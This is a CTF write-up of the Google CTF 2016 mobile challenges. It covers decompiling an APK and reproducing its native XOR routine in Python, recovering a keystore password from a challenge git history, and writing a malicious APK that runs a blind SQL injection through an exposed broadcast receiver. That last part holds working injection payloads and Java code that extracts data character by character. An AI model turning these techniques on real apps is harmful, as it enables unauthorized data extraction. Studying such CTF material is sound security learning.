Google Capture The Flag 2016: Mobile category
There was 3 challenges in the mobile category. Let’s see how we solved them.
Ill Intentions
Ill Intentions
150 points
Do you have have ill intentions?
file: illintentions.apk
For this first one, we have an apk and some allusions to the intent system used on android. Let’s start by testing it a little in an emulator!
$ /opt/android-sdk/tools/emulator -avd Nexus_5X_API_23 &
$ adb devices
List of devices attached
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
emulator-5554 device
$ adb install illintentions.apk
3576 KB/s (51856 bytes in 0.014s)
pkg: /data/local/tmp/illintentions.apk
Success
Let’s extract the apk and decompile it in order to see what is inside. For this, I like to use 2 different tools, as they are not giving us the same output (and I am lazy, and don’t know how to do it with only one tool).
First, dex2jar
takes an apk, and turns it to a jar. We can then read the code
with jd-gui
.
$ dex2jar illintentions.apk
$ jd-gui illintentions.apk
The other tool is apktool
that gives us all the manifests and metadata
correctly reversed and lisible.
$ apktool -d illintentions.apk
$ find illintentions
illintentions
illintentions/AndroidManifest.xml
illintentions/lib
illintentions/lib/x86_64
illintentions/lib/x86_64/libhello-jni.so
illintentions/lib/armeabi
illintentions/lib/armeabi/libhello-jni.so
illintentions/lib/mips64
illintentions/lib/mips64/libhello-jni.so
illintentions/lib/armeabi-v7a
illintentions/lib/armeabi-v7a/libhello-jni.so
illintentions/lib/x86
illintentions/lib/x86/libhello-jni.so
illintentions/lib/arm64-v8a
illintentions/lib/arm64-v8a/libhello-jni.so
illintentions/lib/mips
illintentions/lib/mips/libhello-jni.so
illintentions/apktool.yml
illintentions/original
illintentions/original/AndroidManifest.xml
illintentions/original/META-INF
illintentions/original/META-INF/CERT.RSA
illintentions/original/META-INF/MANIFEST.MF
illintentions/original/META-INF/CERT.SF
illintentions/smali
illintentions/smali/com
illintentions/smali/com/example
illintentions/smali/com/example/application
illintentions/smali/com/example/application/DefinitelyNotThisOne$1.smali
illintentions/smali/com/example/application/MainActivity.smali
illintentions/smali/com/example/application/Send_to_Activity.smali
illintentions/smali/com/example/application/IsThisTheRealOne.smali
illintentions/smali/com/example/application/DefinitelyNotThisOne.smali
illintentions/smali/com/example/application/ThisIsTheRealOne.smali
illintentions/smali/com/example/application/Utilities.smali
illintentions/smali/com/example/application/IsThisTheRealOne$1.smali
illintentions/smali/com/example/application/ThisIsTheRealOne$1.smali
illintentions/smali/com/example/hellojni
illintentions/smali/com/example/hellojni/Manifest.smali
illintentions/smali/com/example/hellojni/R$attr.smali
illintentions/smali/com/example/hellojni/R$string.smali
illintentions/smali/com/example/hellojni/Manifest$permission.smali
illintentions/smali/com/example/hellojni/R.smali
illintentions/smali/com/example/hellojni/BuildConfig.smali
illintentions/smali/com/example/hellojni/R$mipmap.smali
illintentions/res
illintentions/res/values
illintentions/res/values/strings.xml
illintentions/res/values/public.xml
illintentions/res/mipmap-hdpi-v4
illintentions/res/mipmap-hdpi-v4/ic_launcher.png
illintentions/res/mipmap-mdpi-v4
illintentions/res/mipmap-mdpi-v4/ic_launcher.png
illintentions/res/mipmap-xhdpi-v4
illintentions/res/mipmap-xhdpi-v4/ic_launcher.png
illintentions/res/mipmap-xxhdpi-v4
illintentions/res/mipmap-xxhdpi-v4/ic_launcher.png
What can we see here? There is some native libraries for multiple architecture, some resources, and the code for a simple application.
Let’s try to see what we can find in the java code:
We have 6 classes in this apk:
MainActivity
: probably the entry pointSend_to_Activity
IsThisTheRealOne
DefinitelyNotThisOne
ThisIsTheRealOne
Utilities
Here is the main activity:
package com.example.application;
import android.app.Activity;
import android.content.IntentFilter;
import android.os.Bundle;
import android.widget.TextView;
public class MainActivity extends Activity
{
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
paramBundle = new TextView(getApplicationContext());
paramBundle.setText("Select the activity you wish to interact with.To-Do: Add buttons to select activity, for now use Send_to_Activity");
setContentView(paramBundle);
paramBundle = new IntentFilter();
paramBundle.addAction("com.ctf.INCOMING_INTENT");
registerReceiver(new Send_to_Activity(), paramBundle, "ctf.permission._MSG", null);
}
}
The application registers a handler to a broadcast intent named
"com.ctf.INCOMING_INTENT"
and uses Send_To_Activity
as a BroadcastReceiver.
public void onReceive(Context paramContext, Intent paramIntent)
{
paramIntent = paramIntent.getStringExtra("msg");
if (paramIntent.equalsIgnoreCase("ThisIsTheRealOne"))
{
paramContext.startActivity(new Intent(paramContext, ThisIsTheRealOne.class));
return;
}
if (paramIntent.equalsIgnoreCase("IsThisTheRealOne"))
{
paramContext.startActivity(new Intent(paramContext, IsThisTheRealOne.class));
return;
}
if (paramIntent.equalsIgnoreCase("DefinitelyNotThisOne"))
{
paramContext.startActivity(new Intent(paramContext, DefinitelyNotThisOne.class));
return;
}
Toast.makeText(paramContext, "Which Activity do you wish to interact with?", 1).show();
}
What we can see in it is that it takes a string parameter "msg"
that is
calling one of the activies in the apk, depending on this value. Let’s try to
trigger one of them, and look at what it does.
We have 3 choices:
- ThisIsTheRealOne
- IsThisTheRealOne
- DefinitelyNotThisOne
let’s assume we can ignore DefinitelyNotThisOne
and try ThisIsTheRealOne
.
$ adb shell am broadcast -a com.ctf.INCOMING_INTENT --es msg ThisIsTheRealOne
Broadcasting: Intent { act=com.ctf.INCOMING_INTENT (has extras) }
Broadcast completed: result=0
The code handling that is the following:
public class ThisIsTheRealOne extends Activity
{
static {
System.loadLibrary("hello-jni");
}
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
new TextView(this).setText("Activity - This Is The Real One");
paramBundle = new Button(this);
paramBundle.setText("Broadcast Intent");
setContentView(paramBundle);
paramBundle.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
paramAnonymousView = new Intent();
paramAnonymousView.setAction("com.ctf.OUTGOING_INTENT");
String str1 = ThisIsTheRealOne.this.getResources().getString(0x7f030006) + "YSmks";
String str2 = Utilities.doBoth(ThisIsTheRealOne.this.getResources().getString(0x7f030002));
String str3 = Utilities.doBoth(getClass().getName());
paramAnonymousView.putExtra("msg", ThisIsTheRealOne.this.orThat(str1, str2, str3));
ThisIsTheRealOne.this.sendBroadcast(paramAnonymousView, "ctf.permission._MSG");
}
});
}
}
public class IsThisTheRealOne extends Activity
{
static {
System.loadLibrary("hello-jni");
}
public void onCreate(Bundle paramBundle)
{
getApplicationContext();
super.onCreate(paramBundle);
new TextView(this).setText("Activity - Is_this_the_real_one");
paramBundle = new Button(this);
paramBundle.setText("Broadcast Intent");
setContentView(paramBundle);
paramBundle.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
paramAnonymousView = new Intent();
paramAnonymousView.setAction("com.ctf.OUTGOING_INTENT");
String str1 = IsThisTheRealOne.this.getResources().getString(0x7f030007) + "\\VlphgQbwvj~HuDgaeTzuSt.@Lex^~";
String str2 = Utilities.doBoth(IsThisTheRealOne.this.getResources().getString(0x7f030001));
String str3 = getClass().getName();
str3 = Utilities.doBoth(str3.substring(0, str3.length() - 2));
paramAnonymousView.putExtra("msg", IsThisTheRealOne.this.perhapsThis(str1, str2, str3));
IsThisTheRealOne.this.sendBroadcast(paramAnonymousView, "ctf.permission._MSG");
}
});
}
}
Ok, so we have a button that sends an intent with 3 parameters when clicked. Some of the parameters comes from the resources stored in the apk, for that, we have 2 xml files from the apktool extraction:
$ cat illintentions/res/values/public.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
<public type="mipmap" name="ic_launcher" id="0x7f020000" />
<public type="string" name="android.permission._msg" id="0x7f030000" />
<public type="string" name="app_name" id="0x7f030001" />
<public type="string" name="dev_name" id="0x7f030002" />
<public type="string" name="flag" id="0x7f030003" />
<public type="string" name="git_user" id="0x7f030004" />
<public type="string" name="str1" id="0x7f030005" />
<public type="string" name="str2" id="0x7f030006" />
<public type="string" name="str3" id="0x7f030007" />
<public type="string" name="str4" id="0x7f030008" />
<public type="string" name="test" id="0x7f030009" />
</resources>
$ cat illintentions/res/values/strings.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="android.permission._msg">Msg permission for this app</string>
<string name="app_name">SendAnIntentApplication</string>
<string name="dev_name">Leetdev</string>
<string name="flag">Qvq lbh guvax vg jbhyq or gung rnfl?</string>
<string name="git_user">l33tdev42</string>
<string name="str1">`wTtqnVfxfLtxKB}YWFqqnXaOIck`</string>
<string name="str2">IIjsWa}iy</string>
<string name="str3">TRytfrgooq|F{i-JovFBungFk</string>
<string name="str4">H0l3kwjo1|+kdl^polr</string>
<string name="test">Test String for debugging</string>
</resources>
guinness:intents$
Interlude: Can you repo it?
Can you repo it?
5 points
Do you think the developer of Ill Intentions knows how to set up public repositories?
Really nothing much to say here, we grabbed the git username of the developper
of Ill Intentions in res/values/strings.xml
, “l33tdev42”, looked him up on
github, cloned the only repository available, and took a look at the git
history, and the last commit is this one:
From 5b315cbbfaa2da9502ffae73f283d36d89f92194 Mon Sep 17 00:00:00 2001
From: Niru Ragupathy <niruragu@google.com>
Date: Thu, 28 Apr 2016 13:48:07 -0700
Subject: [PATCH] Oops. removing the passcodes
---
app/build.gradle | 35 -----------------------------------
1 file changed, 35 deletions(-)
delete mode 100644 app/build.gradle
diff --git a/app/build.gradle b/app/build.gradle
deleted file mode 100644
index a531d73..0000000
--- a/app/build.gradle
+++ /dev/null
@@ -1,35 +0,0 @@
-apply plugin: 'com.android.application'
-
-android {
- compileSdkVersion 23
- buildToolsVersion "23.0.2"
-
- defaultConfig {
- applicationId "test.leetdev.helloworld"
- minSdkVersion 15
- targetSdkVersion 23
- versionCode 1
- versionName "1.0"
- }
- buildTypes {
- release {
- minifyEnabled false
- proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
- }
- }
- signingConfigs {
- create("release") {
- storeFile = file("leetdev_android.keystore")
- storePassword = "!lPpR4UC6JYaUj"
- keyAlias = "appsKeys"
- keyPassword = "ctf{TheHairCutTookALoadOffMyMind}"
- }
- }
-}
-
-dependencies {
- compile fileTree(dir: 'libs', include: ['*.jar'])
- testCompile 'junit:junit:4.12'
- compile 'com.android.support:appcompat-v7:23.2.0'
- compile 'com.android.support:design:23.2.0'
-}
Do we really need to say more? That was fun, and this is something I really liked in all this ctf, most of (if not all) the challenges was nearly real case scenarios! This is really interesting to have something like that in a ctf, congrats google!
Back to the challenge
Back to our intents! orThat()
is a native method contained inside the library
hello-jni.so
. Let’s take a look at it.
Here is the pseudo code for the x86_64
version:
int Java_com_example_application_ThisIsTheRealOne_orThat(void *javavm, void *pstr1, void *pstr2, void *pstr3)
{
str1 = (*(int (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)javavm + 1352LL))(javavm, pstr1, 0LL);
str2 = (*(int (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)javavm + 1352LL))(javavm, pstr2, 0LL);
str3 = (*(int (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)javavm + 1352LL))(javavm, pstr3, 0LL);
v48 = &str1[strlen(str1)];
*(_QWORD *)v48 = 6593072240547940682LL;
*(_QWORD *)(v48 + 8) = 7953489387895941752LL;
*(_QWORD *)(v48 + 16) = 4706092811935960959LL;
*(_QWORD *)(v48 + 24) = 7092423305623858002LL;
*(_QWORD *)(v48 + 32) = 7382373343648048710LL;
*(_QWORD *)(v48 + 40) = 8315423270923304302LL;
*(_QWORD *)(v48 + 48) = 6008194790891616369LL;
*(_DWORD *)(v48 + 56) = 1684893287;
*(_WORD *)(v48 + 60) = 8547;
*(_BYTE *)(v48 + 62) = 0;
strncpy(str1_1, str1, 76);
strncpy(str2_1, str2, 76);
strncpy(str3_1, str3, 76);
idx = 0;
do {
flag[idx++] = str1_1[idx] ^ str2_1[idx] ^ str3_1[idx];
} while ( idx != 76 );
printf("Here is your Reply: %s", &flag);
return (*(int (__fastcall **)(__int64, int *))(*(_QWORD *)javavm + 1336LL))(javavm, &flag);
}
The other one (IsThisTheRealOne
) is more or less the same thing. As this
can’t work on the real device (v48
is writing outside the allocated memory)
Let’s write the code for that:
import binascii
import base64
import hashlib
def doBoth(input):
customEncodeValue = hashlib.sha224(input).hexdigest().encode('ascii')
return base64.encodebytes(customEncodeValue)[:-1]
def translate(input):
tbl = {
b'=': b'?',
b'1': b'W',
b'2': b'h',
b'3': b'a',
b'4': b't',
b'5': b'i',
b'6': b's',
b'7': b'd',
b'8': b'o',
b'9': b'n',
b'0': b'e'
}
for k,v in tbl.items():
input = input.replace(k, v)
return input
def xor3(str1, str2, str3):
return ''.join([ chr(str1[x] ^ str2[x] ^ str3[x]) for x in range(len(str1)) ])
def chunks(l, n):
n = max(1, n)
return [l[i:i + n] for i in range(0, len(l), n)]
def native_array_translation(input):
return binascii.unhexlify(''.join([ ''.join(chunks(s, 2)[::-1]) for s in input]))
def tryThisIsTheRealOne():
str1 = b"IIjsWa}iyYSmks"
str2 = translate(doBoth(b"Leetdev"))
str3 = translate(doBoth(b"com.example.application.ThisIsTheRealOne$1"))
array_in_native_code = [
"5B7F4C456C59494A", "6E6078757A606A78", "414F667A7F764F7F",
"626D596B50696B52", "667375714B746646", "736651686C667D6E", "536165545C727871",
"646D6E67", "2163"
]
str1 = str1 + native_array_translation(array_in_native_code)
return xor3(str1, str2, str3)
def tryIsThisTheRealOne():
str1 = b"TRytfrgooq|F{i-JovFBungFk" + b"\\VlphgQbwvj~HuDgaeTzuSt.@Lex^~"
str2 = translate(doBoth(b"SendAnIntentApplication"))
str3 = translate(doBoth(b"com.example.application.IsThisTheRealOne$1"[:-2]))
array_in_native_code = [
"7B62617247776E77", "43727F686274754F", "6D716674", "7D"
]
str1 = str1 + native_array_translation(array_in_native_code)
return xor3(str1, str2, str3)
print(tryThisIsTheRealOne())
print(tryIsThisTheRealOne())
The first one was a joke, thanks guys, and the last one was the real flag.
Note for later: getClass().getName()
returns the full name of the class, with
the package name, and if it is a nested class, you will have some kind of
"$N"
after.
The Little Bobby
Little Bobby Application
250 points
Find the vulnerability, develop an exploit, and when you’re ready, submit your APK to https://bottle-brush-tree.ctfcompetition.com. Can take up to 15 minutes to return the result.
file: BobbyApplication_CTF.apk
We have to build an apk that will be sent to a server, launched inside an android vm and we get logcat output as a result.
This is a simple application with an Intent login service.
protected void onCreate(Bundle paramBundle)
{
Log.d("Startup", "Bobby's Application is now running");
super.onCreate(paramBundle);
paramBundle = new IntentFilter();
new LocalDatabaseHelper(getApplicationContext());
paramBundle.addAction("com.bobbytables.ctf.myapplication_INTENT");
registerReceiver(new LoginReceiver(), paramBundle);
/* ... */
}
Here is the LoginReceiver
class:
public class LoginReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
Object localObject = paramIntent.getStringExtra("username");
paramIntent = paramIntent.getStringExtra("password");
Log.d("Received", (String)localObject + ":" + paramIntent);
paramIntent = new LocalDatabaseHelper(paramContext).checkLogin((String)localObject, paramIntent);
localObject = new Intent();
((Intent)localObject).setAction("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
((Intent)localObject).putExtra("msg", paramIntent);
paramContext.sendBroadcast((Intent)localObject);
}
}
public String checkLogin(String paramString1, String paramString2)
{
SQLiteDatabase localSQLiteDatabase = getReadableDatabase();
Cursor localCursor = localSQLiteDatabase.rawQuery("select password,salt from users where username = \"" + paramString1 + "\"", null);
Log.d("Username", paramString1);
if ((localCursor != null) && (localCursor.getCount() > 0))
{
localCursor.moveToFirst();
paramString1 = localCursor.getString(0);
String str = localCursor.getString(1);
localCursor.close();
localSQLiteDatabase.close();
if (Utils.calcHash(paramString2 + str).equals(paramString1))
{
Log.d("Result", "Logged in");
return "Logged in";
}
Log.d("Result", "Incorrect password");
return "Incorrect password";
}
if (localCursor != null)
localCursor.close();
localSQLiteDatabase.close();
Log.d("Result", "User does not exist");
return "User does not exist";
}
public void onCreate(SQLiteDatabase paramSQLiteDatabase)
{
paramSQLiteDatabase.execSQL("CREATE TABLE users (_id INTEGER PRIMARY KEY,username TEXT,password TEXT,flag TEXT,salt TEXT)");
}
public long insert(String paramString1, String paramString2)
{
int i = new Random().nextInt(31337);
paramString2 = Utils.calcHash(paramString2 + new Integer(i).toString());
SQLiteDatabase localSQLiteDatabase = getWritableDatabase();
ContentValues localContentValues = new ContentValues();
localContentValues.put("username", paramString1);
localContentValues.put("password", paramString2);
localContentValues.put("flag", "ctf{An injection is all you need to get this flag - " + paramString2 + "}");
localContentValues.put("salt", new Integer(i).toString());
long l = localSQLiteDatabase.insert("users", null, localContentValues);
localSQLiteDatabase.close();
return l;
}
As we can see, there is a simple sql injection in the checkLogin
method. In
the code we can see that if the query is returning no result, we have "User
does not exist"
as a parameter in an intent
"com.bobbytables.ctf.myapplication_OUTPUTINTENT"
, and "Incorrect password"
if the query returns a result.
Ok, so let’s try to exploit this in blind!
First we need to have a request that can return a result or not. As we can see, the salt will always be under 31337, we can use that to always have some kind of result. Let’s inject as a username:
"\" or cast(salt as decimal) > 31337 or (" + expression + ") and \"1\"=\"1"
with that, we can put anything we want in expression
(yeah, as I am reading
it now, it is too complicated, we can do much simpler).
Ok, so we first have to guess the size of the flag, and then find all the characters. Here is the java code that is doing that.
public class LoginResult extends BroadcastReceiver {
String EXPR_TRUE = "Incorrect password";
int state; // 0 -> startup, 1 -> guess length, 2 -> guess flag
int max;
int min;
int pivot;
int flag_length;
int idx = 0;
ArrayList<Integer> flag;
public LoginResult() {
this.max = 1000;
this.min = 0;
this.state = 0;
}
static String getFlag(ArrayList<Integer> l)
{
String res = "";
for (Integer i : l) {
res += (char)(i.intValue() + 1);
}
return res;
}
@Override
public void onReceive(Context context, Intent intent) {
if (state == 0) {
state = 1;
pivot = min + (max - min) / 2;
IntentHelper.tryLen(context, pivot);
} else if (state == 1) {
String msg = intent.getStringExtra("msg");
Log.e("gaby.sqli/LOG", String.format(Locale.getDefault(), "pivot: %d", pivot));
if (min == pivot || max == pivot) {
flag_length = pivot;
state = 2;
IntentHelper.tryLen(context, flag_length);
} else if (msg.equals(EXPR_TRUE)) { // length(flag) > pivot
min = pivot;
pivot = min + (max - min) / 2;
IntentHelper.tryLen(context, pivot);
} else {
max = pivot;
pivot = min + (max - min) / 2;
IntentHelper.tryLen(context, pivot);
}
} else if (state == 2) {
if (idx == 0) {
// find the flag now!
Log.d("gaby.sqli/FLAG_LENGTH", String.format("%d", flag_length));
idx = 1; // first step
flag = new ArrayList<Integer>();
min = 31;
max = 127;
pivot = min + (max - min) / 2;
IntentHelper.tryChar(context, idx, pivot);
} else {
String msg = intent.getStringExtra("msg");
Log.e("gaby.sqli/LOG", String.format(Locale.getDefault(), "pivot: %d", pivot));
if (min == pivot || max == pivot) {
// XXX
if (idx > flag_length + 1) {
// WIN!
state = 3;
Log.e("gaby.sql/FLAG", String.format("The flag is: %s", getFlag(flag)));
DialogHelper.showMessage(context, "WIN", String.format("The flag is: %s", getFlag(flag)));
} else {
Log.e("gabv.sql/LOG", String.format(Locale.getDefault(), "flag[%d] = %d", idx, pivot));
flag.add(pivot);
idx += 1;
min = 31;
max = 127;
pivot = min + (max - min) / 2;
}
IntentHelper.tryChar(context, idx, pivot);
} else if (msg.equals(EXPR_TRUE)) { // length(flag) > pivot
min = pivot;
pivot = min + (max - min) / 2;
IntentHelper.tryChar(context, idx, pivot);
} else {
max = pivot;
pivot = min + (max - min) / 2;
IntentHelper.tryChar(context, idx, pivot);
}
}
}
}
}
public class IntentHelper {
public static void tryLogin(Context context, String username, String password)
{
Intent intent = new Intent();
intent.setAction("com.bobbytables.ctf.myapplication_INTENT");
intent.putExtra("username", username);
intent.putExtra("password", password);
context.sendBroadcast(intent);
}
public static void tryInject(Context context, String expression)
{
tryLogin(context, "\" or cast(salt as decimal) > 31337 or (" + expression + ") and \"1\"=\"1", "password");
}
public static void tryLen(Context context, int len)
{
tryInject(context, String.format(Locale.getDefault(), "length(flag) > %d", len));
}
public static void tryChar(Context context, int index, int c)
{
tryInject(context, String.format(Locale.getDefault(), "substr(flag, %d, 1) > char(%d)", index, c));
}
}
And with that, we can have the complete flag. Yeah, the code is ugly, it was a little difficult to have something clear in the intent callback.
full code for this apk is available on our repositories.